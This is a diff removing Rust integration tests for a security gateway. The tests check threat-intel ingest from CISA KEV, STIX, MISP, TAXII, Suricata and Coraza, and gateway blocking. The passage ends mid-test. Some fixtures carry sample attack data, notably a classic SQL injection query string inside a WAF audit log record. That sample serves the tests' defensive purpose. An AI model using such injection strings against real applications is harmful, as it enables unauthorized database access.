-        let app = build_app(
-            AppState::seeded(None).with_kev_catalog_url("http://127.0.0.1:9/kev.json".to_string()),
-        );
-
-        let response = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/threat-intel/cisa-kev",
-                None,
-                &kev_import_request(),
-            ),
-        )
-        .await;
-        assert_eq!(response.status(), StatusCode::SERVICE_UNAVAILABLE);
-        let body = body_text(response).await;
-        assert!(body.contains("configured write-capable admin credential"));
-    }
-
-    #[tokio::test]
-    async fn kev_feed_import_rejects_redirected_feed_fetches() {
-        let target_feed = Router::new().route(
-            "/kev.json",
-            get(|| async {
-                (
-                    StatusCode::OK,
-                    r#"{"vulnerabilities":[{"cveID":"CVE-2024-0001"}]}"#,
-                )
-            }),
-        );
-        let target_listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
-        let target_addr = target_listener.local_addr().unwrap();
-        tokio::spawn(axum::serve(target_listener, target_feed).into_future());
-
-        let redirect_target = format!("http://{target_addr}/kev.json");
-        let redirect_feed = Router::new().route(
-            "/kev.json",
-            get(move || {
-                let location = redirect_target.clone();
-                async move { (StatusCode::FOUND, [("location", location)]) }
-            }),
-        );
-        let redirect_listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
-        let redirect_addr = redirect_listener.local_addr().unwrap();
-        tokio::spawn(axum::serve(redirect_listener, redirect_feed).into_future());
-
-        let app = build_app(
-            AppState::seeded(Some("secret".to_string()))
-                .with_kev_catalog_url(format!("http://{redirect_addr}/kev.json")),
-        );
-        let payload = kev_import_request();
-
-        let response = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/threat-intel/cisa-kev",
-                Some("secret"),
-                &payload,
-            ),
-        )
-        .await;
-        assert_eq!(response.status(), StatusCode::BAD_GATEWAY);
-    }
-
-    #[test]
-    fn validate_kev_import_request_checks_feed_metadata_only() {
-        // The request no longer carries a URL at all (see import_kev_feed:
-        // it always fetches AppState::kev_catalog_url, server-side config
-        // only), so validation is limited to the feed metadata fields.
-        assert!(validate_kev_import_request(&kev_import_request()).is_ok());
-
-        let blank_feed_id = KevImportRequest {
-            feed_id: "  ".to_string(),
-            ..kev_import_request()
-        };
-        assert!(validate_kev_import_request(&blank_feed_id).is_err());
-
-        let blank_source = KevImportRequest {
-            source: "".to_string(),
-            ..kev_import_request()
-        };
-        assert!(validate_kev_import_request(&blank_source).is_err());
-
-        let zero_ttl = KevImportRequest {
-            ttl_seconds: 0,
-            ..kev_import_request()
-        };
-        assert!(validate_kev_import_request(&zero_ttl).is_err());
-    }
-
-    #[tokio::test]
-    async fn kev_cve_indicators_never_block_legitimate_requests() {
-        // A CVE identifier tracked from a KEV import is vulnerability
-        // metadata, not a request-content attack signature. A legitimate
-        // request that happens to reference a cataloged CVE (e.g. a
-        // vulnerability-management dashboard proxied through the gateway)
-        // must not be blocked just because the identifier appears in it.
-        let feed_mock = Router::new().route(
-            "/kev.json",
-            get(|| async {
-                (
-                    StatusCode::OK,
-                    r#"{"vulnerabilities":[{"cveID":"CVE-2021-44228","knownRansomwareCampaignUse":"Known"}]}"#,
-                )
-            }),
-        );
-        let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
-        let addr = listener.local_addr().unwrap();
-        tokio::spawn(axum::serve(listener, feed_mock).into_future());
-
-        let app = build_app(
-            AppState::seeded(Some("secret".to_string()))
-                .with_kev_catalog_url(format!("http://{addr}/kev.json")),
-        );
-        let payload = kev_import_request();
-        let imported = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/threat-intel/cisa-kev",
-                Some("secret"),
-                &payload,
-            ),
-        )
-        .await;
-        assert_eq!(imported.status(), StatusCode::CREATED);
-
-        let block_route = RouteConfig {
-            id: "cve-lookup".to_string(),
-            path_prefix: "/cve-lookup".to_string(),
-            upstream: "mock://cve-lookup".to_string(),
-            mode: EnforcementMode::Block,
-            enabled: true,
-            block_threshold: None,
-        };
-        let route_response = app_request(
-            &app,
-            json_request(Method::POST, "/api/routes", Some("secret"), &block_route),
-        )
-        .await;
-        assert_eq!(route_response.status(), StatusCode::CREATED);
-
-        let undecidable = app_request(
-            &app,
-            empty_request(Method::GET, "/gateway/cve-lookup?id=CVE-2021-44228"),
-        )
-        .await;
-        assert_eq!(
-            undecidable.status(),
-            StatusCode::SERVICE_UNAVAILABLE,
-            "KEV metadata must not become a request signature; without a proven WAF, an otherwise-allowed block-mode request is unavailable rather than falsely blocked"
-        );
-    }
-
-    #[tokio::test]
-    async fn kev_feed_refresh_removes_withdrawn_cves() {
-        let initial_catalog = serde_json::json!({
-            "vulnerabilities": [
-                {"cveID": "CVE-2023-49105", "knownRansomwareCampaignUse": "Unknown"},
-                {"cveID": "CVE-2021-44228", "knownRansomwareCampaignUse": "Known"}
-            ]
-        });
-        let refreshed_catalog = serde_json::json!({
-            "vulnerabilities": [
-                {"cveID": "CVE-2023-49105", "knownRansomwareCampaignUse": "Unknown"}
-            ]
-        });
-        let catalogs = Arc::new(Mutex::new(vec![
-            initial_catalog.to_string(),
-            refreshed_catalog.to_string(),
-        ]));
-        let feed_mock = Router::new().route(
-            "/kev.json",
-            get(move || {
-                let catalogs = catalogs.clone();
-                async move {
-                    let body = catalogs.lock().await.remove(0);
-                    (StatusCode::OK, body)
-                }
-            }),
-        );
-        let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
-        let addr = listener.local_addr().unwrap();
-        tokio::spawn(axum::serve(listener, feed_mock).into_future());
-
-        let app = build_app(
-            AppState::seeded(Some("secret".to_string()))
-                .with_kev_catalog_url(format!("http://{addr}/kev.json")),
-        );
-        let payload = kev_import_request();
-
-        let first_import = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/threat-intel/cisa-kev",
-                Some("secret"),
-                &payload,
-            ),
-        )
-        .await;
-        assert_eq!(first_import.status(), StatusCode::CREATED);
-
-        let second_import = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/threat-intel/cisa-kev",
-                Some("secret"),
-                &payload,
-            ),
-        )
-        .await;
-        assert_eq!(second_import.status(), StatusCode::CREATED);
-
-        let threat_entries: Vec =
-            json_body(app_request(&app, empty_request(Method::GET, "/api/threats")).await).await;
-        assert!(
-            threat_entries
-                .iter()
-                .any(|entry| entry.value == "CVE-2023-49105")
-        );
-        assert!(
-            threat_entries
-                .iter()
-                .all(|entry| entry.value != "CVE-2021-44228"),
-            "withdrawn CVEs should be removed on refresh"
-        );
-    }
-
-    #[tokio::test]
-    async fn feed_refresh_preserves_indicators_still_owned_by_another_feed() {
-        // Two independently-managed feeds can legitimately report the same
-        // indicator_type+value+source. Refreshing one feed without it must
-        // not delete it while the other feed still claims it.
-        let app = build_app(AppState::seeded(Some("secret".to_string())));
-        let shared = ThreatIndicator {
-            value: "198.51.100.77".to_string(),
-            indicator_type: "ip".to_string(),
-            severity: Severity::High,
-            source: "shared-source".to_string(),
-            ttl_seconds: 600,
-        };
-        let feed_a = ThreatFeedImport {
-            feed_id: "feed-a".to_string(),
-            source: "shared-source".to_string(),
-            ttl_seconds: 600,
-            threats: vec![shared.clone()],
-            dnsbl: Vec::new(),
-        };
-        let feed_b = ThreatFeedImport {
-            feed_id: "feed-b".to_string(),
-            source: "shared-source".to_string(),
-            ttl_seconds: 600,
-            threats: vec![shared.clone()],
-            dnsbl: Vec::new(),
-        };
-        for feed in [&feed_a, &feed_b] {
-            let imported = app_request(
-                &app,
-                json_request(
-                    Method::POST,
-                    "/api/threat-feeds/import",
-                    Some("secret"),
-                    feed,
-                ),
-            )
-            .await;
-            assert_eq!(imported.status(), StatusCode::CREATED);
-        }
-
-        // validate_threat_feed_import requires at least one threat or DNSBL
-        // entry, so refreshes carry an unrelated DNSBL row to stay valid
-        // while genuinely dropping the shared indicator from `threats`.
-        let placeholder_dnsbl = DnsblEntry {
-            address: "203.0.113.9".parse().unwrap(),
-            code: "127.0.0.5".to_string(),
-            reason: "refresh placeholder".to_string(),
-            source: "shared-source".to_string(),
-            ttl_seconds: 600,
-            prefix_len: None,
-        };
-
-        // Feed A refreshes and drops the shared indicator; feed B still owns it.
-        let feed_a_refresh = ThreatFeedImport {
-            threats: Vec::new(),
-            dnsbl: vec![placeholder_dnsbl.clone()],
-            ..feed_a.clone()
-        };
-        let refreshed = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/threat-feeds/import",
-                Some("secret"),
-                &feed_a_refresh,
-            ),
-        )
-        .await;
-        assert_eq!(refreshed.status(), StatusCode::CREATED);
-
-        let threat_entries: Vec =
-            json_body(app_request(&app, empty_request(Method::GET, "/api/threats")).await).await;
-        assert!(
-            threat_entries
-                .iter()
-                .any(|entry| entry.value == shared.value),
-            "an indicator still owned by feed-b must survive feed-a's refresh"
-        );
-
-        // Feed B now also drops it -- no feed owns it any more, so it's reaped.
-        let feed_b_refresh = ThreatFeedImport {
-            threats: Vec::new(),
-            dnsbl: vec![placeholder_dnsbl],
-            ..feed_b.clone()
-        };
-        let refreshed = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/threat-feeds/import",
-                Some("secret"),
-                &feed_b_refresh,
-            ),
-        )
-        .await;
-        assert_eq!(refreshed.status(), StatusCode::CREATED);
-
-        let threat_entries: Vec =
-            json_body(app_request(&app, empty_request(Method::GET, "/api/threats")).await).await;
-        assert!(
-            threat_entries
-                .iter()
-                .all(|entry| entry.value != shared.value),
-            "an indicator no feed owns any more should be reaped"
-        );
-    }
-
-    #[tokio::test]
-    async fn feed_refresh_preserves_indicators_independently_upserted_by_operator() {
-        let app = build_app(AppState::seeded(Some("secret".to_string())));
-        let shared = ThreatIndicator {
-            value: "198.51.100.88".to_string(),
-            indicator_type: "ip".to_string(),
-            severity: Severity::High,
-            source: "shared-source".to_string(),
-            ttl_seconds: 600,
-        };
-        let feed = ThreatFeedImport {
-            feed_id: "feed-a".to_string(),
-            source: "shared-source".to_string(),
-            ttl_seconds: 600,
-            threats: vec![shared.clone()],
-            dnsbl: Vec::new(),
-        };
-        let imported = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/threat-feeds/import",
-                Some("secret"),
-                &feed,
-            ),
-        )
-        .await;
-        assert_eq!(imported.status(), StatusCode::CREATED);
-
-        let operator_upsert = app_request(
-            &app,
-            json_request(Method::POST, "/api/threats", Some("secret"), &shared),
-        )
-        .await;
-        assert_eq!(operator_upsert.status(), StatusCode::CREATED);
-
-        let placeholder_dnsbl = DnsblEntry {
-            address: "203.0.113.10".parse().unwrap(),
-            code: "127.0.0.5".to_string(),
-            reason: "refresh placeholder".to_string(),
-            source: "shared-source".to_string(),
-            ttl_seconds: 600,
-            prefix_len: None,
-        };
-        let refresh = ThreatFeedImport {
-            threats: Vec::new(),
-            dnsbl: vec![placeholder_dnsbl],
-            ..feed
-        };
-        let refreshed = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/threat-feeds/import",
-                Some("secret"),
-                &refresh,
-            ),
-        )
-        .await;
-        assert_eq!(refreshed.status(), StatusCode::CREATED);
-
-        let threat_entries: Vec =
-            json_body(app_request(&app, empty_request(Method::GET, "/api/threats")).await).await;
-        assert!(
-            threat_entries
-                .iter()
-                .any(|entry| entry.value == shared.value),
-            "operator-managed indicator must survive feed withdrawal"
-        );
-    }
-
-    #[tokio::test]
-    async fn feed_refresh_preserves_operator_managed_indicator_payload() {
-        let app = build_app(AppState::seeded(Some("secret".to_string())));
-        let operator_indicator = ThreatIndicator {
-            value: "198.51.100.89".to_string(),
-            indicator_type: "ip".to_string(),
-            severity: Severity::Critical,
-            source: "shared-source".to_string(),
-            ttl_seconds: 86_400,
-        };
-        let created = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/threats",
-                Some("secret"),
-                &operator_indicator,
-            ),
-        )
-        .await;
-        assert_eq!(created.status(), StatusCode::CREATED);
-
-        let feed = ThreatFeedImport {
-            feed_id: "feed-a".to_string(),
-            source: "shared-source".to_string(),
-            ttl_seconds: 60,
-            threats: vec![ThreatIndicator {
-                severity: Severity::Low,
-                ttl_seconds: 60,
-                ..operator_indicator.clone()
-            }],
-            dnsbl: Vec::new(),
-        };
-        let imported = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/threat-feeds/import",
-                Some("secret"),
-                &feed,
-            ),
-        )
-        .await;
-        assert_eq!(imported.status(), StatusCode::CREATED);
-
-        let refresh = ThreatFeedImport {
-            threats: Vec::new(),
-            dnsbl: vec![DnsblEntry {
-                address: "203.0.113.19".parse().unwrap(),
-                code: "127.0.0.19".to_string(),
-                reason: "refresh placeholder".to_string(),
-                source: "shared-source".to_string(),
-                ttl_seconds: 60,
-                prefix_len: None,
-            }],
-            ..feed
-        };
-        let refreshed = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/threat-feeds/import",
-                Some("secret"),
-                &refresh,
-            ),
-        )
-        .await;
-        assert_eq!(refreshed.status(), StatusCode::CREATED);
-
-        let threat_entries: Vec =
-            json_body(app_request(&app, empty_request(Method::GET, "/api/threats")).await).await;
-        let stored = threat_entries
-            .iter()
-            .find(|entry| {
-                entry.value == operator_indicator.value
-                    && entry.indicator_type == operator_indicator.indicator_type
-                    && entry.source == operator_indicator.source
-            })
-            .expect("operator-managed indicator should remain present");
-        assert_eq!(stored.severity, Severity::Critical);
-        assert_eq!(stored.ttl_seconds, 86_400);
-    }
-
-    #[tokio::test]
-    async fn import_result_excludes_operator_owned_threats_from_upserted_count() {
-        // apply_threat_feed_import skips upserting threats whose key is
-        // operator-owned (see feed_refresh_preserves_operator_managed_indicator_payload),
-        // so the reported upserted_threats count must reflect what was
-        // actually applied, not the feed's full submitted set.
-        let app = build_app(AppState::seeded(Some("secret".to_string())));
-        let operator_indicator = ThreatIndicator {
-            value: "198.51.100.90".to_string(),
-            indicator_type: "ip".to_string(),
-            severity: Severity::Critical,
-            source: "shared-source".to_string(),
-            ttl_seconds: 86_400,
-        };
-        let created = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/threats",
-                Some("secret"),
-                &operator_indicator,
-            ),
-        )
-        .await;
-        assert_eq!(created.status(), StatusCode::CREATED);
-
-        let feed = ThreatFeedImport {
-            feed_id: "feed-b".to_string(),
-            source: "shared-source".to_string(),
-            ttl_seconds: 60,
-            threats: vec![
-                ThreatIndicator {
-                    severity: Severity::Low,
-                    ttl_seconds: 60,
-                    ..operator_indicator.clone()
-                },
-                ThreatIndicator {
-                    value: "198.51.100.91".to_string(),
-                    indicator_type: "ip".to_string(),
-                    severity: Severity::Low,
-                    source: "shared-source".to_string(),
-                    ttl_seconds: 60,
-                },
-            ],
-            dnsbl: Vec::new(),
-        };
-        let import_result: ThreatFeedImportResult = json_body(
-            app_request(
-                &app,
-                json_request(
-                    Method::POST,
-                    "/api/threat-feeds/import",
-                    Some("secret"),
-                    &feed,
-                ),
-            )
-            .await,
-        )
-        .await;
-        assert_eq!(
-            import_result.upserted_threats, 1,
-            "only the non-operator-owned threat should count as upserted"
-        );
-    }
-
-    #[tokio::test]
-    async fn suricata_eve_ingest_maps_alerts_to_security_events() {
-        let app = build_app(AppState::seeded(Some("secret".to_string())));
-        let unauthorized = app_request(
-            &app,
-            Request::builder()
-                .method(Method::POST)
-                .uri("/api/ids/suricata/eve")
-                .header("content-type", "application/json")
-                .body(Body::from(
-                    r#"{"event_type":"alert","src_ip":"203.0.113.50","alert":{"signature":"x","severity":1}}"#,
-                ))
-                .unwrap(),
-        )
-        .await;
-        assert_eq!(unauthorized.status(), StatusCode::UNAUTHORIZED);
-
-        let ndjson = r#"
-{"event_type":"stats"}
-{"event_type":"alert","src_ip":"203.0.113.50","dest_ip":"198.51.100.1","dest_port":80,"alert":{"signature":"ET WEB_SERVER SQLi","category":"Web Application Attack","severity":1},"http":{"url":"/x?id=1"}}
-"#;
-        let response = app_request(
-            &app,
-            Request::builder()
-                .method(Method::POST)
-                .uri("/api/ids/suricata/eve")
-                .header("content-type", "application/x-ndjson")
-                .header("x-admin-token", "secret")
-                .body(Body::from(ndjson))
-                .unwrap(),
-        )
-        .await;
-        assert_eq!(response.status(), StatusCode::CREATED);
-        let body: serde_json::Value = json_body(response).await;
-        assert_eq!(body["accepted_alerts"], 1);
-        assert_eq!(body["skipped_non_alerts"], 1);
-        assert_eq!(body["event_ids"].as_array().unwrap().len(), 1);
-
-        let events: Vec =
-            json_body(app_request(&app, empty_request(Method::GET, "/api/events")).await).await;
-        let ingested = events
-            .iter()
-            .find(|e| e.reason.contains("ET WEB_SERVER SQLi"))
-            .expect("suricata alert event");
-        assert_eq!(ingested.action, "block");
-        assert_eq!(ingested.score, 80);
-        assert_eq!(ingested.path, "/x?id=1");
-        assert_eq!(ingested.client_ip, Some("203.0.113.50".parse().unwrap()));
-
-        let audit: Vec = json_body(
-            app_request(
-                &app,
-                Request::builder()
-                    .method(Method::GET)
-                    .uri("/api/audit-logs")
-                    .header("x-admin-token", "secret")
-                    .body(Body::empty())
-                    .unwrap(),
-            )
-            .await,
-        )
-        .await;
-        assert!(
-            audit
-                .iter()
-                .any(|entry| entry.action == "import_suricata_eve")
-        );
-
-        let manifest: BuyerEvidenceManifest = json_body(
-            app_request(
-                &app,
-                empty_request(Method::GET, "/api/commercial/evidence-manifest"),
-            )
-            .await,
-        )
-        .await;
-        assert!(
-            manifest
-                .required_endpoints
-                .iter()
-                .any(|endpoint| endpoint.path == "/api/ids/suricata/eve")
-        );
-    }
-
-    #[tokio::test]
-    async fn coraza_audit_ingest_maps_crs_hits_to_security_events() {
-        let app = build_app(AppState::seeded(Some("secret".to_string())));
-        let unauthorized = app_request(
-            &app,
-            Request::builder()
-                .method(Method::POST)
-                .uri("/api/waf/coraza/audit")
-                .header("content-type", "application/json")
-                .body(Body::from(
-                    r#"{"transaction":{"is_interrupted":true,"request":{"uri":"/"},"response":{"http_code":403}},"messages":[{"message":"x","data":{"id":1,"severity":2}}]}"#,
-                ))
-                .unwrap(),
-        )
-        .await;
-        assert_eq!(unauthorized.status(), StatusCode::UNAUTHORIZED);
-
-        let audit_json = r#"{
-          "transaction": {
-            "client_ip": "203.0.113.77",
-            "time_stamp": "2024-06-15T12:34:56+0000",
-            "is_interrupted": true,
-            "request": { "uri": "/search?q=1'+OR+1=1" },
-            "response": { "http_code": 403 }
-          },
-          "messages": [
-            {
-              "message": "SQL Injection Attack Detected via libinjection",
-              "data": { "id": 942100, "severity": 2 }
-            }
-          ]
-        }"#;
-        let response = app_request(
-            &app,
-            Request::builder()
-                .method(Method::POST)
-                .uri("/api/waf/coraza/audit")
-                .header("content-type", "application/json")
-                .header("x-admin-token", "secret")
-                .body(Body::from(audit_json))
-                .unwrap(),
-        )
-        .await;
-        assert_eq!(response.status(), StatusCode::CREATED);
-        let body: serde_json::Value = json_body(response).await;
-        assert_eq!(body["accepted_hits"], 1);
-        assert_eq!(body["event_ids"].as_array().unwrap().len(), 1);
-        assert!(body["enforcement_hints"].as_u64().unwrap() >= 1);
-
-        let events: Vec =
-            json_body(app_request(&app, empty_request(Method::GET, "/api/events")).await).await;
-        let ingested = events
-            .iter()
-            .find(|e| e.reason.contains("942100"))
-            .expect("coraza crs event");
-        assert_eq!(ingested.action, "block");
-        assert_eq!(ingested.path, "/search?q=1'+OR+1=1");
-        assert_eq!(ingested.client_ip, Some("203.0.113.77".parse().unwrap()));
-        assert_eq!(ingested.timestamp_unix, 1_718_454_896);
-
-        // Engine hit feeds DNSBL + client_ip indicators so gateway block mode enforces.
-        let route_resp = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/routes",
-                Some("secret"),
-                &serde_json::json!({
-                    "id": "search-block",
-                    "path_prefix": "/search",
-                    "upstream": "mock://x",
-                    "mode": "block",
-                    "enabled": true
-                }),
-            ),
-        )
-        .await;
-        assert_eq!(route_resp.status(), StatusCode::CREATED);
-        let blocked = app_request(
-            &app,
-            gateway_get_from_ip("/gateway/search?q=1", "203.0.113.77"),
-        )
-        .await;
-        assert_eq!(blocked.status(), StatusCode::FORBIDDEN);
-        let allowed = app_request(
-            &app,
-            gateway_get_from_ip("/gateway/search?q=1", "198.51.100.9"),
-        )
-        .await;
-        assert_ne!(allowed.status(), StatusCode::FORBIDDEN);
-
-        let audit: Vec = json_body(
-            app_request(
-                &app,
-                authed_empty_request(Method::GET, "/api/audit-logs", "secret"),
-            )
-            .await,
-        )
-        .await;
-        assert!(
-            audit
-                .iter()
-                .any(|entry| entry.action == "import_coraza_audit")
-        );
-
-        let manifest: BuyerEvidenceManifest = json_body(
-            app_request(
-                &app,
-                empty_request(Method::GET, "/api/commercial/evidence-manifest"),
-            )
-            .await,
-        )
-        .await;
-        assert!(
-            manifest
-                .required_endpoints
-                .iter()
-                .any(|endpoint| endpoint.path == "/api/waf/coraza/audit")
-        );
-    }
-
-    #[tokio::test]
-    async fn stix_indicator_ingest_updates_threats_dnsbl_and_feed_freshness() {
-        let app = build_app(AppState::seeded(Some("secret".to_string())));
-        let unauthorized = app_request(
-            &app,
-            Request::builder()
-                .method(Method::POST)
-                .uri("/api/threat-intel/stix")
-                .header("content-type", "application/json")
-                .body(Body::from(
-                    r#"{"type":"indicator","pattern":"[ipv4-addr:value = '1.2.3.4']"}"#,
-                ))
-                .unwrap(),
-        )
-        .await;
-        assert_eq!(unauthorized.status(), StatusCode::UNAUTHORIZED);
-
-        let bundle = r#"{
-          "type": "bundle",
-          "id": "bundle--aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa",
-          "objects": [
-            {
-              "type": "indicator",
-              "id": "indicator--bbbbbbbb-bbbb-4bbb-8bbb-bbbbbbbbbbbb",
-              "name": "bad-ip",
-              "pattern": "[ipv4-addr:value = '203.0.113.88']",
-              "pattern_type": "stix",
-              "valid_from": "2024-01-01T00:00:00Z",
-              "confidence": 90
-            },
-            {
-              "type": "indicator",
-              "id": "indicator--cccccccc-cccc-4ccc-8ccc-cccccccccccc",
-              "name": "bad-domain",
-              "pattern": "[domain-name:value = 'phish.example']",
-              "pattern_type": "stix",
-              "valid_from": "2024-01-01T00:00:00Z",
-              "confidence": 70
-            }
-          ]
-        }"#;
-        let response = app_request(
-            &app,
-            Request::builder()
-                .method(Method::POST)
-                .uri("/api/threat-intel/stix?feed_id=stix-lab&source=stix:lab&ttl_seconds=3600")
-                .header("content-type", "application/json")
-                .header("x-admin-token", "secret")
-                .body(Body::from(bundle))
-                .unwrap(),
-        )
-        .await;
-        assert_eq!(response.status(), StatusCode::CREATED);
-        let body: serde_json::Value = json_body(response).await;
-        assert_eq!(body["feed_id"], "stix-lab");
-        assert!(body["upserted_threats"].as_u64().unwrap() >= 2);
-        assert_eq!(body["upserted_dnsbl"], 1);
-
-        let threats: Vec =
-            json_body(app_request(&app, empty_request(Method::GET, "/api/threats")).await).await;
-        assert!(
-            threats
-                .iter()
-                .any(|t| t.value == "phish.example" && t.indicator_type == "domain")
-        );
-        assert!(
-            threats
-                .iter()
-                .any(|t| t.value == "203.0.113.88" && t.indicator_type == "client_ip")
-        );
-
-        let dnsbl: Vec =
-            json_body(app_request(&app, empty_request(Method::GET, "/api/dnsbl")).await).await;
-        assert!(
-            dnsbl
-                .iter()
-                .any(|d| d.address.to_string() == "203.0.113.88")
-        );
-
-        let freshness: Vec = json_body(
-            app_request(
-                &app,
-                empty_request(Method::GET, "/api/threat-feeds/freshness"),
-            )
-            .await,
-        )
-        .await;
-        assert!(
-            freshness
-                .iter()
-                .any(|f| f.feed_id == "stix-lab" && !f.stale)
-        );
-
-        let route_resp = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/routes",
-                Some("secret"),
-                &serde_json::json!({
-                    "id": "stix-block",
-                    "path_prefix": "/stix",
-                    "upstream": "mock://x",
-                    "mode": "block",
-                    "enabled": true
-                }),
-            ),
-        )
-        .await;
-        assert_eq!(route_resp.status(), StatusCode::CREATED);
-        let blocked = app_request(&app, gateway_get_from_ip("/gateway/stix", "203.0.113.88")).await;
-        assert_eq!(blocked.status(), StatusCode::FORBIDDEN);
-
-        let manifest: BuyerEvidenceManifest = json_body(
-            app_request(
-                &app,
-                empty_request(Method::GET, "/api/commercial/evidence-manifest"),
-            )
-            .await,
-        )
-        .await;
-        assert!(
-            manifest
-                .required_endpoints
-                .iter()
-                .any(|endpoint| endpoint.path == "/api/threat-intel/stix")
-        );
-    }
-
-    #[tokio::test]
-    async fn misp_event_ingest_updates_threats_dnsbl_and_feed_freshness() {
-        let app = build_app(AppState::seeded(Some("secret".to_string())));
-        let unauthorized = app_request(
-            &app,
-            Request::builder()
-                .method(Method::POST)
-                .uri("/api/threat-intel/misp")
-                .header("content-type", "application/json")
-                .body(Body::from(
-                    r#"{"Event":{"Attribute":[{"type":"ip-dst","value":"1.2.3.4","to_ids":true}]}}"#,
-                ))
-                .unwrap(),
-        )
-        .await;
-        assert_eq!(unauthorized.status(), StatusCode::UNAUTHORIZED);
-
-        let event = r#"{
-          "Event": {
-            "id": "99",
-            "info": "buyer-lab misp sample",
-            "threat_level_id": "1",
-            "Attribute": [
-              {
-                "type": "ip-dst",
-                "value": "203.0.113.91",
-                "to_ids": true,
-                "comment": "scanner"
-              },
-              {
-                "type": "domain",
-                "value": "misp-evil.example",
-                "to_ids": true
-              },
-              {
-                "type": "url",
-                "value": "http://misp-evil.example/phish",
-                "to_ids": true
-              },
-              {
-                "type": "comment",
-                "value": "ignored",
-                "to_ids": true
-              }
-            ]
-          }
-        }"#;
-        let response = app_request(
-            &app,
-            Request::builder()
-                .method(Method::POST)
-                .uri("/api/threat-intel/misp?feed_id=misp-lab&source=misp:lab&ttl_seconds=3600")
-                .header("content-type", "application/json")
-                .header("x-admin-token", "secret")
-                .body(Body::from(event))
-                .unwrap(),
-        )
-        .await;
-        assert_eq!(response.status(), StatusCode::CREATED);
-        let body: serde_json::Value = json_body(response).await;
-        assert_eq!(body["feed_id"], "misp-lab");
-        assert!(body["upserted_threats"].as_u64().unwrap() >= 2);
-        assert_eq!(body["upserted_dnsbl"], 1);
-        assert!(body["skipped_attributes"].as_u64().unwrap() >= 1);
-
-        let threats: Vec =
-            json_body(app_request(&app, empty_request(Method::GET, "/api/threats")).await).await;
-        assert!(
-            threats
-                .iter()
-                .any(|t| t.value == "misp-evil.example" && t.indicator_type == "domain")
-        );
-        assert!(
-            threats
-                .iter()
-                .any(|t| t.value == "203.0.113.91" && t.indicator_type == "client_ip")
-        );
-
-        let dnsbl: Vec =
-            json_body(app_request(&app, empty_request(Method::GET, "/api/dnsbl")).await).await;
-        assert!(
-            dnsbl
-                .iter()
-                .any(|d| d.address.to_string() == "203.0.113.91")
-        );
-
-        let freshness: Vec = json_body(
-            app_request(
-                &app,
-                empty_request(Method::GET, "/api/threat-feeds/freshness"),
-            )
-            .await,
-        )
-        .await;
-        assert!(
-            freshness
-                .iter()
-                .any(|f| f.feed_id == "misp-lab" && !f.stale)
-        );
-
-        let route_resp = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/routes",
-                Some("secret"),
-                &serde_json::json!({
-                    "id": "misp-block",
-                    "path_prefix": "/misp",
-                    "upstream": "mock://x",
-                    "mode": "block",
-                    "enabled": true
-                }),
-            ),
-        )
-        .await;
-        assert_eq!(route_resp.status(), StatusCode::CREATED);
-        let blocked = app_request(&app, gateway_get_from_ip("/gateway/misp", "203.0.113.91")).await;
-        assert_eq!(blocked.status(), StatusCode::FORBIDDEN);
-
-        let manifest: BuyerEvidenceManifest = json_body(
-            app_request(
-                &app,
-                empty_request(Method::GET, "/api/commercial/evidence-manifest"),
-            )
-            .await,
-        )
-        .await;
-        assert!(
-            manifest
-                .required_endpoints
-                .iter()
-                .any(|endpoint| endpoint.path == "/api/threat-intel/misp")
-        );
-    }
-
-    #[tokio::test]
-    async fn taxii_collection_poll_imports_stix_and_blocks_gateway() {
-        let taxii_body = r#"{
-          "more": false,
-          "objects": [
-            {
-              "type": "indicator",
-              "id": "indicator--dddddddd-dddd-4ddd-8ddd-dddddddddddd",
-              "name": "taxii-bad-ip",
-              "pattern": "[ipv4-addr:value = '203.0.113.92']",
-              "pattern_type": "stix",
-              "valid_from": "2024-01-01T00:00:00Z",
-              "confidence": 90
-            },
-            {
-              "type": "indicator",
-              "id": "indicator--eeeeeeee-eeee-4eee-8eee-eeeeeeeeeeee",
-              "name": "taxii-bad-domain",
-              "pattern": "[domain-name:value = 'taxii-evil.example']",
-              "pattern_type": "stix",
-              "valid_from": "2024-01-01T00:00:00Z",
-              "confidence": 70
-            }
-          ]
-        }"#;
-        let taxii_app = Router::new().route(
-            "/api1/collections/lab/objects/",
-            axum::routing::get(move || {
-                let body = taxii_body.to_string();
-                async move {
-                    (
-                        StatusCode::OK,
-                        [("content-type", "application/taxii+json;version=2.1")],
-                        body,
-                    )
-                }
-            }),
-        );
-        let taxii_listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
-        let taxii_addr = taxii_listener.local_addr().unwrap();
-        tokio::spawn(axum::serve(taxii_listener, taxii_app).into_future());
-
-        let app = build_app(AppState::seeded(Some("secret".to_string())));
-        let unauthorized = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/threat-intel/taxii/poll",
-                None,
-                &serde_json::json!({
-                    "objects_url": format!("http://{taxii_addr}/api1/collections/lab/objects/")
-                }),
-            ),
-        )
-        .await;
-        assert_eq!(unauthorized.status(), StatusCode::UNAUTHORIZED);
-
-        let response = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/threat-intel/taxii/poll",
-                Some("secret"),
-                &serde_json::json!({
-                    "api_root": format!("http://{taxii_addr}/api1"),
-                    "collection_id": "lab",
-                    "feed_id": "taxii-lab",
-                    "source": "taxii:lab",
-                    "ttl_seconds": 3600,
-                    "username": "analyst",
-                    "password": "not-logged"
-                }),
-            ),
-        )
